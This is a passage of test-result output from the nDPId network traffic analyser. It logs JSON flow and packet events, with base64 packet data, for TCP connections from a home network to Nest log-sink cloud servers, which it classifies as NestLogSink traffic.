{"query":"czfe105.front01.iad01.production.nest.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.174.82.237"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":214,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1536714607530,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63343,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714607,"pkt_ts_usec":530778,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsL7MAAP8GYsXAqPIPI65S7fdvK1cIymiPAAAAAGACEgDJ5gAAAgQEgAAA"} +00424{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714607,"pkt_ts_usec":594881,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAAC0GJHkjrlLtwKjyDytX92+qr\/jxCMpokGASaQPN\/AAAAgQFtA=="} +00423{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714607,"pkt_ts_usec":597463,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL7QAAP8GYsjAqPIPI65S7fdvK1cIymiQqq\/48lAQEgA8vQAAAAAAAAAA"} +01129{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714608,"pkt_ts_usec":236238,"pkt_caplen":585,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":585,"pkt_l4_len":551,"pkt":"AJD7JidrGLQwJjRACABFAAI7L7UAAP8GYLTAqPIPI65S7fdvK1cIymiQqq\/48lAYEgBXKQAAEQIAEwoDAAA2nicAADC0GAMAAAACMLQYEQqMBgQAAACBAAA5+ABtAAEAWiMlAFoj+yEEnLB3hmCjX\/9RpHiw8WQHtflYVJ9RsjEg6dtDwCGgTmdVcdp0jKObpMjSiVlQqEuNASCYIOjjq2KVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARwhermfyMxoLyT9cAO1roHO9a7QqXANtx6N7Gh1MAIdAPyALwFEjYcRq6fbbb2YwAPqueLqb7bMgagmR3kY"} +00415{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714608,"pkt_ts_usec":305894,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoshtAAC0GcmEjrlLtwKjyDytX92+qr\/jyCMpqo1AQbODfyQAA"} +01330{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714608,"pkt_ts_usec":322352,"pkt_caplen":731,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":731,"pkt_l4_len":697,"pkt":"GLQwJjRAAJD7JidrCABFAALNshxAAC0Gb7sjrlLtwKjyDytX92+qr\/jyCMpqo1AYbOAz4gAAowIAEwoDAAADAAAAAjC0GDaeJwAAMLQYEAuMBgQAAACAOesBAAAELxkCOpUk3uy8tjDNAAuhgChFUxfA2vMHDvxRK8RkG2ehEGOpWF1dXBUUn+wXNbBmIJ8tTSs8KarVAAAEAAcANQEwAQgRAGNdWXuZjyQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSAwAAAAIwtBgYJAcCJgglAFojMAo5BAmqnD2bjDiK3yLVcr2LQ\/iPmlWn\/iDHinq\/pRMoxaNQgTnwimtBL+qTiTQqENL2xrPIWxZjJGeRNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIISKnh4YvR26oYNYAwAghAMCqAESxXYxg1DDABHG7LEaIGSLUc\/M2D6faSCjZ4yyUajbt6l0larAowAhxg27mtYz94ldNAgb53O7UEnNbhJ3tZG9saSNIDGBg3A9UAAAQAAQAwAQh0U8TzJXXApCQCBDcDJxMBAAAA7jC0GBgmBIRKFhomBYQI+0k3BicTAwAAAO4wtBgYJAcCJgglAFojMAo5BGE4qnve9lbNUGTNwi8LtUdKfuSMTjD7DNvhKAxIglvrJHimTYHTbv0nAD\/mK7\/RNCUG+rTQMUDDNYMpASkCGDWCKQEkAmAYNYEwAghAMCqAESxXYxg1gDACCEM09xLfX5HPGDUMMAEcEurFeVqNP0pdZ4E34\/y4bmkdTprW+aj+LfeYwjACHQCMH3zVX2A9NrWeI9e9nsIN0x+kcP1z7qyH11oYGBgYGNUAAAQACAAwARx5YESorapP08hibcedkN2eOjDgOBaISDVA9wstMAIdAOPH+3W2IELswI+d+cqdLaBkMHT8uk0uErxNjNcY8LTewGcJqRXUzAk4GDxDwRRx\/7Y="} +00423{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714608,"pkt_ts_usec":437591,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL7YAAP8GYsbAqPIPI65S7fdvK1cIymqjqq\/7l1AQD1s6qgAAAAAAAAAA"} +00490{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":684326,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcL7cAAP8GYpHAqPIPI65S7fdvK1cIymqjqq\/7l1AYD1vWbQAAMgAAEwsDAAA2nicAADC0GAMAAAACMLQYEQyMBgQAAACLjUe26FhRK2Su+3Sh50H2S\/Id7A=="} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":8,"flow_first_seen":1536714607530,"flow_last_seen":1536714609684,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":697,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63343,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink","breed":"Acceptable","category":"Cloud"}} +00415{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":785592,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosh1AAC0Gcl8jrlLtwKjyDytX92+qr\/uXCMpq11AQbODc8AAA"} +00972{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":789236,"pkt_caplen":458,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":458,"pkt_l4_len":424,"pkt":"AJD7JidrGLQwJjRACABFAAG8L7gAAP8GYTDAqPIPI65S7fdvK1cIymrXqq\/7l1AYD1toiwAAkgEQEwAAAAA2nicAADC0GAMAAAACMLQY+yFvRoNQ2dkGy6I8iUccaFHG\/UCpXikww7SDHb739iQFS9lPpNuK3rDH30szkJGD8W4c39P7LVpHPqLDJ0VO71my2SGrJ5d8z695S9ltRcFl98CKffif2N0gS8J\/JF13LEZtM22rvLbfEmxmrSTtoqwesj19aUYF5Pn+27b3zoZZv\/+QrUdRTipd3293LdeKCD5QTcvMzYtE9EwAcVdh\/SQCFrHQaL7LZtPBemiwC9zxKF2X2GTvac8YQTrFL2Ttd1vjlh+S\/6qn6i9jKPAgWws11mNqIedDdJCDYQD\/z+rOXIST5wPNGi+ONf\/XsB1KOmukrqjutcpnG6Ut6bemYi\/wTw\/vZyUEPVfrWBU2isBfQ+iOAvuHhO6UmLGaCerNE7GZuIVmASakuWScj8RRDxKDS8M1t4b8fmqcJUJRWk650H\/rop0hIUZrkX7758AcVyqKunr4Ad5GfWd5v\/aThq8TuWOZk\/ZThkIHPmzLuaqVQBDMUY\/fO7HGHQ4="} +00416{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":855031,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosh5AAC0Gcl4jrlLtwKjyDytX92+qr\/uXCMpsa1AQcRDXLAAA"} +00498{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":877051,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"GLQwJjRAAJD7JidrCABFAABksh9AAC0GciEjrlLtwKjyDytX92+qr\/uXCMpsa1AYcRD5+gAAOgAQEwAAAAADAAAAAjC0GDaeJwAAMLQY+yHwbAHdXh8+GNORngSo4bATkEhOQSdgs6InwUgRIkBhuMYj"} +00585{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":883943,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"AJD7JidrGLQwJjRACABFAACiL7kAAP8GYknAqPIPI65S7fdvK1cIymxrqq\/701AYDx9gXwAAeAAQEwEAAAA2nicAADC0GAMAAAACMLQY+yHq8Hj1RzfgRN3XTu0+CiEKTy6+IzsA+mU6qvgBBUGVq3W78i5YloI79fuBd0YFwMzvdhnYb7vbqINLTsbYAHyNdClS55D32zHd4eHou\/xLB34fZkfI+mh+OB7vzJ\/vTPU="} +01275{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":948271,"pkt_caplen":683,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":683,"pkt_l4_len":649,"pkt":"GLQwJjRAAJD7JidrCABFAAKdsiBAAC0Gb+cjrlLtwKjyDytX92+qr\/vTCMps5VAYcRColAAAcwIQEwEAAAADAAAAAjC0GDaeJwAAMLQY+yF5gSMY5j0IRomX+JCupCk+ve5lJYBi5D7VXnN7yVh9WHY40fMHjsqX5vrgg7qCzOb3S7+s3MTpPrGcIcVehoh0hNE\/AUh\/l05LIJcfsYEUayujDOVQKSljRpx5pGdv3dngLjYDnAr+L4Ha13T3Du3LWCR0P670Xeu9JdPkJfYH+zEGsJQ+2VbZjZXJX5fdNzKoWqycH7dGyCw2ac1\/iOMgwCNM7ba8sSyJnWE4r1SzIBIR1InIILVl1F4DglLIcY9ku9DTMXpi\/hZ2YRM9SdkPLe2UuM1DK6JKV6VuRBixRswGUn+jIRDzdkahkt7pyJgLKPaJdZ+fjcxWD\/8NIzc08afSf18XAgPDcQkKOKfxxB0i6WLR0QUKBFugdRgIQiKn6rNIHdsMKAzlaqvmI0Ac8LbTXoe6+U56JKHvMdVKTlB\/G6lDcqoYVrw+6WzTUfhzse\/hxqHjCfVIv46PtZr5wJBElba\/NuPvH5MTYXLhPfopbHFO0E+984emZYu\/6gdyMYjERy7ehecQCvEa\/gPNJuvt4D+WU6vh+iboJi245pEDd4P8EcCv81b0FNLNGkdfqX0BDMnofBVXA6wcO85ZdCEuvj+BMPm9S7ttt5zK0K1BuVL8EYaYj9OIrlp8+yxkRFg9etPwjIpPjb4y\/CewBUWAbv9tBaY6xQge\/xgkq+RJG3WYbazKLOC3hmWFDk0b4GwzSW+A2t\/Ri+9DCUggDMHw\/FglQSdpXOk6X5GqSuq9\/1GuBHnpRmsBRnhFrYEq1k2eq6QvJ1VlEobomVL5KDvX\/cKzW1+i8k8="} +00424{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714609,"pkt_ts_usec":962073,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL7oAAP8GYsLAqPIPI65S7fdvK1cIymzlqq\/+SFAQEgAzEgAAAAAAAAAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":237,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1536714610253,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63344,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714610,"pkt_ts_usec":253460,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsL74AAP8GGt\/AqPIPI7yauvdwK1cI1a0HAAAAAGACEgA9hwAAAgQEgAAA"} +00422{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714610,"pkt_ts_usec":314466,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAADcG0p0jvJq6wKjyDytX93Bcs3xVCNWtCGASbvAGcQAAAgQFjA=="} +00422{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714610,"pkt_ts_usec":318069,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL78AAP8GGuLAqPIPI7yauvdwK1cI1a0IXLN8VlAQEgB69gAAAAAAAAAA"} +01131{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714610,"pkt_ts_usec":959148,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"AJD7JidrGLQwJjRACABFAAI6L8IAAP8GGM3AqPIPI7yauvdwK1cI1a0IXLN8VlAYEgD6igAAEAIAEwwDAAA2nicAADC0GAQAAAACMLQYEQqSBgQAAACBAAA5+ABtAAEAWiMlAFojiiIEtkbpjQUSHUoTcWkXUWM9lVbNsoOuvfFUxmbNPsGiW\/wq5UMDWDxf2nPoFbYobKpXR6vLhI5RzviVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARwghzo4rL9IB318LIxg\/LAqaKcA4fCuRscnp+mWMAIcBgUkZfHumFcJND3j932Gu2OJyi6\/7A8Wmb\/nLRg="} +01131{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714613,"pkt_ts_usec":670783,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"AJD7JidrGLQwJjRACABFAAI6L8MAAP8GGMzAqPIPI7yauvdwK1cI1a0IXLN8VlAYEgD6igAAEAIAEwwDAAA2nicAADC0GAQAAAACMLQYEQqSBgQAAACBAAA5+ABtAAEAWiMlAFojiiIEtkbpjQUSHUoTcWkXUWM9lVbNsoOuvfFUxmbNPsGiW\/wq5UMDWDxf2nPoFbYobKpXR6vLhI5RzviVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARwghzo4rL9IB318LIxg\/LAqaKcA4fCuRscnp+mWMAIcBgUkZfHumFcJND3j932Gu2OJyi6\/7A8Wmb\/nLRg="} +00414{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714613,"pkt_ts_usec":725020,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosHFAADcGIjAjvJq6wKjyDytX93Bcs3xWCNWvGlAQcRAZ1AAA"} +01329{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714613,"pkt_ts_usec":730371,"pkt_caplen":732,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":732,"pkt_l4_len":698,"pkt":"GLQwJjRAAJD7JidrCABFAALOsHJAADcGH4kjvJq6wKjyDytX93Bcs3xWCNWvGlAYcRAWxwAApAIAE\/507mEEAAAAAjC0GDaeJwAAMLQYEAuSBgQAAACAOewBAAAE7RjXefZ3jl2B73CKyAyp+gzqVRgqLcUisbaa+bAUHTxA+Y+sJXjb9B8VtxsX4AN2V9hwRU+nHa\/VAAAEAAcANQEwAQgMb9c+DCmBkiQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSBAAAAAIwtBgYJAcCJgglAFojMAo5BOmClNa2L\/0sqyhn7IYa235P1xw1ad7owBLnP8rLfG3TPA0dBMXfrzKvqAFyJ47sRlQQr3qOkdAiNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIIT2JdLEIid9IYNYAwAghAMCqAESxXYxg1DDABHQD2qSsI\/n0hou9Llf5n3GEbVWuc4D0QHq+l2F+wMAIcbFFqzYrI2WIn6D35aDg1LAuu7NZYbZZk\/HdXyxgYNwPVAAAEAAEAMAEIdFPE8yV1wKQkAgQ3AycTAQAAAO4wtBgYJgSEShYaJgWECPtJNwYnEwMAAADuMLQYGCQHAiYIJQBaIzAKOQRhOKp73vZWzVBkzcIvC7VHSn7kjE4w+wzb4SgMSIJb6yR4pk2B0279JwA\/5iu\/0TQlBvq00DFAwzWDKQEpAhg1gikBJAJgGDWBMAIIQDAqgBEsV2MYNYAwAghDNPcS31+Rzxg1DDABHBLqxXlajT9KXWeBN+P8uG5pHU6a1vmo\/i33mMIwAh0AjB981V9gPTa1niPXvZ7CDdMfpHD9c+6sh9daGBgYGBjVAAAEAAgAMAEdAMVvQ5XlZmGV8QhBhrEA8Y7CKqvTkjoh+ef40ggwAhwVsCu21ub6wpZoRKcG76sWQ+LVYuExLwECJdGJGJcwYthZZrcq6RR30WEt7wyo86zw"} +00542{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":246,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1536714610253,"flow_last_seen":1536714613730,"flow_tot_l4_data_len":1886,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":269,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63344,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink.Google","breed":"Unrated","category":"Cloud"}} +00423{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714613,"pkt_ts_usec":917860,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL8QAAP8GGt3AqPIPI7yauvdwK1cI1a8aXLN+\/FAQD1p45AAAAAAAAAAA"} +00490{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714615,"pkt_ts_usec":108363,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcL8UAAP8GGqjAqPIPI7yauvdwK1cI1a8aXLN+\/FAYD1qDHQAAMgAAEw0DAAA2nicAADC0GAQAAAACMLQYEQySBgQAAABV\/Z6UAgToaUwXoNzLJI2S7W4xGA=="} +00415{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714615,"pkt_ts_usec":208732,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosHNAADcGIi4jvJq6wKjyDytX93Bcs378CNWvTlAQcRAW+gAA"} +00514{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714615,"pkt_ts_usec":211705,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"AJD7JidrGLQwJjRACABFAABuL8YAAP8GGpXAqPIPI7yauvdwK1cI1a9OXLN+\/FAYD1qTSgAARAAQEwAAAAA2nicAADC0GAQAAAACMLQYiiJm4E54PK4eJMUwpWAatNEYbrHr7bdwdYgawkQka8y1Frm005Mo5xRyBbf8bQ=="} +00415{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714615,"pkt_ts_usec":264286,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosHRAADcGIi0jvJq6wKjyDytX93Bcs378CNWvlFAQcRAWtAAA"} +00493{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714615,"pkt_ts_usec":264339,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"GLQwJjRAAJD7JidrCABFAABhsHVAADcGIfMjvJq6wKjyDytX93Bcs378CNWvlFAYcRByXQAANwAQEwAAAAAEAAAAAjC0GDaeJwAAMLQYiiJFUuzMNx8DflOVuOBBLLPLGfrP53rbJB3Obto1XgYJ"} 